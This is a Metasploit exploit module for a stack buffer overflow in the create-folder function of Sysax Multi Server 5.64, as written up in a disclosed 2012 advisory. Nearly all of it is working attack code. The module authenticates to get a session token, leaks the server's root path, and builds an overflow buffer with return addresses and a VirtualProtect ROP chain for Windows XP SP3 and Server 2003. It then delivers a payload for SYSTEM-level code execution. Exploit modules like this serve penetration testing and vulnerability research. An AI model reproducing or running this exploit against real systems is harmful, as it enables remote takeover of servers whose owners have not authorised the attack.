Sysax Multi Server 5.64 – Create Folder Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Sysax Multi Server 5.64 Create Folder Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the create folder function in Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the vulnerability valid credentials with the create folder permission must be provided. The HTTP option must be enabled on Sysax too. This module will log into the server, get a SID token, find the root folder, and then proceed to exploit the server. Successful exploits result in SYSTEM access. This exploit works on XP SP3, and Server 2003 SP1-SP2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt "hostess" Andreko', ], 'References' => [ [ 'EDB', '20676' ], [ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x2F\x0d\x0a", # 0d and 0a are only bad, due to the Rex::MIME replacing 0d with 0d0a in the message#to_s 'Space' => '1299', 'DisableNops' => true, }, 'Targets' => [ [ 'Windows XP SP3 / Sysax Multi Server 5.64', { 'Rop' => false, 'Ret' => 0x77c35459, # push esp # ret [msvcrt.dll] 'Offset' => 711, } ], [ 'Windows 2003 SP1-SP2 / Sysax Multi Server 5.64', { 'Rop' => true, 'Ret' => 0x77baf605, # pop esi; pop ebp; retn 0c; [msvcrt.dll] (pivot) 'Offset' => 711, 'Nop' => 0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll] } ], ], 'Privileged' => true, 'DisclosureDate'=> 'Jul 29 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI path to the Sysax web application', '/']), Opt::RPORT(80), OptString.new('SysaxUSER', [ true, "Username" ]), OptString.new('SysaxPASS', [ true, "Password" ]) ], self.class) end def create_rop_chain() rop_gadgets = [] # ROP chains provided by Corelan.be # https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2 if (target == targets[1]) # Windows 2003 rop_gadgets = [ 0x77be3adb, # POP EAX # RETN [msvcrt.dll] 0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll] 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll] 0x41414141, # Filler (compensate) 0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll] 0x77bdb896, # POP EBP # RETN [msvcrt.dll] 0x77be2265, # & push esp # ret [msvcrt.dll] 0x77bdeebf, # POP EAX # RETN [msvcrt.dll] 0x2cfe0668, # put delta into eax (-> put 0x00000201 into ebx) 0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77bdfe37, # ADD EBX,EAX # OR EAX,3000000 # RETN [msvcrt.dll] 0x77bdf0da, # POP EAX # RETN [msvcrt.dll] 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into edx) 0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll] 0x77bcc2ee, # POP ECX # RETN [msvcrt.dll] 0x77befbb4, # &Writable location [msvcrt.dll] 0x77bbf75e, # POP EDI # RETN [msvcrt.dll] 0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll] 0x77bdf0da, # POP EAX # RETN [msvcrt.dll] 0x90909090, # nop 0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll] ].flatten.pack("V*") end return rop_gadgets end def get_sid user = datastore['SysaxUSER'] pass = datastore['SysaxPASS'] creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}" # Login to get SID value r = send_request_cgi({ 'method' => "POST", 'uri' => "#{target_uri.to_s}scgi?sid=0&pid=dologin", 'data' => creds }) # Parse response for SID token sid = r.body.match(/sid=([A-Z0-9a-z]{40})/)[1] print_status "SID: #{sid.to_s}" sid.to_s end def get_root_path(sid) # Find the path because it's used to help calculate the offset random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir r = send_request_cgi({ 'uri' => "#{target_uri.to_s}scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm", 'method' => 'POST', }) # Example message: invalid path: C:\Documents and Settings\Administrator\Desktop\9dk2hdh2. # Root Path should be C:\Documents and Settings\Administrator\Desktop (no trailing slash) root_path = r.body.match(/^invalid path: (.*)\\#{random_folder_name}\.$/)[1] print_status "Root Dir: #{root_path}" root_path end def exploit connect sid = get_sid root_path = get_root_path(sid) buffer = rand_text(target['Offset']-root_path.length) buffer << [target.ret].pack('V') if (target['Rop']) buffer << [target['Nop']].pack('V')*16 buffer << create_rop_chain() end buffer << make_nops(15) buffer << payload.encoded post_data = Rex::MIME::Message.new post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"") post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669" r = send_request_cgi({ 'uri' => "#{target_uri.to_s}scgi?sid=#{sid}&pid=mk_folder2_name1.htm", 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", }) disconnect end end |